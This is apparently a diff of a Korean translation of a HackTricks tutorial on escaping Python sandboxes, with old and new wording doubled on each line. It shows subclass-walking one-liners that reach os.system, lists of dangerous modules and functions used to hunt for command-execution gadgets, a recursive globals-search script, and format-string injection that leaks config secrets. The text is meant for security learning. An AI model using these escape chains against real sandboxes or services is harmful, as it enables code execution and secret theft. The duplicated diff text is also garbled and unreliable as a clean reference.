**`globals`**와 **`locals`**를 확인하는 것은 액세스할 수 있는 것을 파악하는 좋은 방법입니다. **`globals`**와 **`locals`**를 확인하는 것은 접근할 수 있는 내용을 아는 좋은 방법입니다.
```python ```python
>>> globals() >>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>} {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -423,15 +424,15 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>] [<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
``` ```
[**아래에는 더 큰 함수가 있습니다**](./#recursive-search-of-builtins-globals) **전역 변수를 찾을 수 있는** **장소**가 수십 개/**수백 개** 있습니다. [**아래에는 더 큰 함수가 있습니다**](./#recursive-search-of-builtins-globals) 수십/**수백** 개의 **위치**에서 **globals**를 찾을 수 있습니다.
## 임의 실행 발견 ## 임의 실행 발견
여기서는 **더 많은 위험한 기능을 발견**하고 더 신뢰할 수 있는 취약점을 제안하는 방법을 쉽게 설명하고자 합니다. 여기에서는 **더 위험한 기능**을 쉽게 발견하는 방법과 더 신뢰할 수 있는 익스플로잇을 제안하고자 합니다.
#### 우회로로 하위 클래스에 액세스 #### 우회로 서브클래스에 접근하기
이 기술의 가장 민감한 부분 중 하나는 **기본 하위 클래스에 액세스할 수 있는지** 여부입니다. 이전 예제에서는 `''.__class__.__base__.__subclasses__()`를 사용하여 이를 수행했지만 **다른 가능한 방법**도 있습니다: 이 기술의 가장 민감한 부분 중 하나는 **기본 서브클래스에 접근할 수 있는** 것입니다. 이전 예제에서는 `''.__class__.__base__.__subclasses__()`를 사용하여 이를 수행했지만 **다른 가능한 방법**도 있습니다:
```python ```python
#You can access the base from mostly anywhere (in regular conditions) #You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__() "".__class__.__base__.__subclasses__()
@ -461,16 +462,16 @@ defined_func.__class__.__base__.__subclasses__()
``` ```
### 위험한 라이브러리 찾기 ### 위험한 라이브러리 찾기
예를 들어, 라이브러리 **`sys`**를 사용하여 **임의의 라이브러리를 가져올 수 있다는 것을 알고 있다면**, 해당 **모듈들을 검색하여 그 안에 sys가 가져온 모든 라이브러리를 찾을 수 있습니다**: 예를 들어, **`sys`** 라이브러리를 사용하면 **임의의 라이브러리를 가져올 수** 있다는 것을 알고 있다면, **그 안에 sys를 가져온 모든 모듈을 검색할 수 있습니다**:
```python ```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
``` ```
많은 것이 있습니다. **우리는 하나만 필요합니다** 명령을 실행하기 위해: 많은 방법이 있으며, **우리는 명령을 실행하기 위해 하나만 필요합니다:**
```python ```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
``` ```
우리는 **다른 라이브러리**를 사용하여 **명령을 실행**할 수 있다고 알고 있는 것과 같은 작업을 할 수 있습니다: 우리는 **명령을 실행**하는 데 사용할 수 있는 **다른 라이브러리**로도 같은 작업을 수행할 수 있습니다:
```python ```python
#os #os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -505,7 +506,7 @@ defined_func.__class__.__base__.__subclasses__()
#pdb #pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
``` ```
게다가, 악성 라이브러리를 로드하는 모듈을 심지어 검색할 수도 있습니다: 또한, 우리는 어떤 모듈이 악성 라이브러리를 로드하고 있는지 검색할 수도 있습니다:
```python ```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names: for b in bad_libraries_names:
@ -524,7 +525,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb: pdb:
""" """
``` ```
또한, 다른 라이브러리가 명령을 실행하기 위해 함수를 호출할 수 있다고 생각한다면, 가능한 라이브러리 내의 함수 이름으로도 필터링할 수 있습니다: 또한, **다른 라이브러리**가 **명령을 실행하는 함수를 호출할 수 있다고 생각한다면**, 가능한 라이브러리 내에서 **함수 이름으로 필터링**할 수도 있습니다:
```python ```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -555,11 +556,12 @@ load_source: NullImporter, _HackedGetData
execfile: execfile:
execute: execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
``` ```
## 내장 및 전역 변수의 재귀적 검색 ## 내장 함수, 전역 변수의 재귀적 검색...
{% hint style="warning" %} {% hint style="warning" %}
이것은 정말 **멋진** 기능입니다. 만약 **globals, builtins, open 또는 다른 어떤 객체를 찾고 있다면**, 이 스크립트를 사용하여 **해당 객체를 찾을 수 있는 장소를 재귀적으로 찾을 수 있습니다.** 이것은 정말 **멋집니다**. 만약 **globals, builtins, open 또는 그와 유사한 객체를 찾고 있다면** 이 스크립트를 사용하여 **그 객체를 찾을 수 있는 위치를 재귀적으로 찾아보세요.**
{% endhint %} {% endhint %}
```python ```python
import os, sys # Import these to find more gadgets import os, sys # Import these to find more gadgets
@ -676,19 +678,19 @@ print(SEARCH_FOR)
if __name__ == "__main__": if __name__ == "__main__":
main() main()
``` ```
이 스크립트의 출력물을 다음 페이지에서 확인할 수 있습니다: You can check the output of this script on this page:
{% content-ref url="https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md" %} {% content-ref url="https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md" %}
[https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md) [https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md)
{% endcontent-ref %} {% endcontent-ref %}
## Python 포맷 문자열 ## Python Format String
**포맷팅**될 **문자열**을 **파이썬**에 **보내면**, `{}`를 사용하여 **파이썬 내부 정보에 액세스**할 수 있습니다. 전에 사용한 예제를 사용하여 글로벌 또는 내장 항목에 액세스할 수 있습니다. 만약 당신이 **형식화**될 **문자열**을 파이썬에 **전송**한다면, `{}`를 사용하여 **파이썬 내부 정보**에 접근할 수 있습니다. 이전 예제를 사용하여 globals 또는 builtins에 접근할 수 있습니다.
{% hint style="info" %} {% hint style="info" %}
그러나 **제한 사항**이 있습니다. `.[]` 기호만 사용할 수 있으므로 **임의의 코드를 실행할 수는 없고** 정보를 읽기만 할 수 있습니다.\ 하지만, **제한**이 있습니다. `.[]` 기호만 사용할 수 있으므로, **임의의 코드를 실행할 수는 없습니다**, 단지 정보를 읽을 수 있습니다.\
_**이 취약점을 통해 코드를 실행하는 방법을 알고 있다면 저에게 연락해주세요.**_ _**이 취약점을 통해 코드를 실행하는 방법을 알고 있다면, 저에게 연락해 주세요.**_
{% endhint %} {% endhint %}
```python ```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
@ -709,16 +711,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people) get_name_for_avatar(st, people_obj = people)
``` ```
주의할 점은 `people_obj.__init__`와 같이 **점**을 사용하여 **속성에 액세스**할 수 있고, 딕셔너리 요소는 따옴표 없이 **괄호**를 사용하여 액세스할 수 있다는 것입니다. `__globals__[CONFIG]` 노트: 일반적인 방법으로 **속성**에 **점**을 사용하여 접근할 수 있습니다 `people_obj.__init__`와 **딕셔너리 요소**에 **괄호**를 사용하여 인용 없이 `__globals__[CONFIG]`
또한 객체의 요소를 나열하기 위해 `.__dict__`를 사용할 수 있으며, `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`와 같이 사용할 수 있습니다. 또한 `.__dict__`를 사용하여 객체의 요소를 열거할 수 있습니다 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
포맷 문자열의 다른 흥미로운 특성 중 하나는 **`str`**, **`repr`**, **`ascii`** 함수를 **`!s`**, **`!r`**, **`!a`**를 추가하여 지정된 객체에서 **실행**할 수 있다는 것입니다: 형식 문자열의 다른 흥미로운 특징은 **`str`**, **`repr`** 및 **`ascii`** 함수를 지정된 객체에서 각각 **`!s`**, **`!r`**, **`!a`**를 추가하여 **실행**할 수 있는 가능성입니다:
```python ```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people) get_name_for_avatar(st, people_obj = people)
``` ```
게다가, 클래스에서 **새로운 형식 지정자를 작성**할 수도 있습니다: 또한, 클래스에서 **새로운 포매터를 코드화**하는 것이 가능합니다:
```python ```python
class HAL9000(object): class HAL9000(object):
def __format__(self, format): def __format__(self, format):
@ -729,17 +731,17 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000()) '{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that. #I'm afraid I can't do that.
``` ```
**더 많은 예시**는 [**https://pyformat.info/**](https://pyformat.info)에서 **format** **string** 예시를 찾을 수 있습니다. **형식** **문자열** 예제에 대한 **더 많은 예제**는 [**https://pyformat.info/**](https://pyformat.info)에서 찾을 수 있습니다.
{% hint style="danger" %} {% hint style="danger" %}
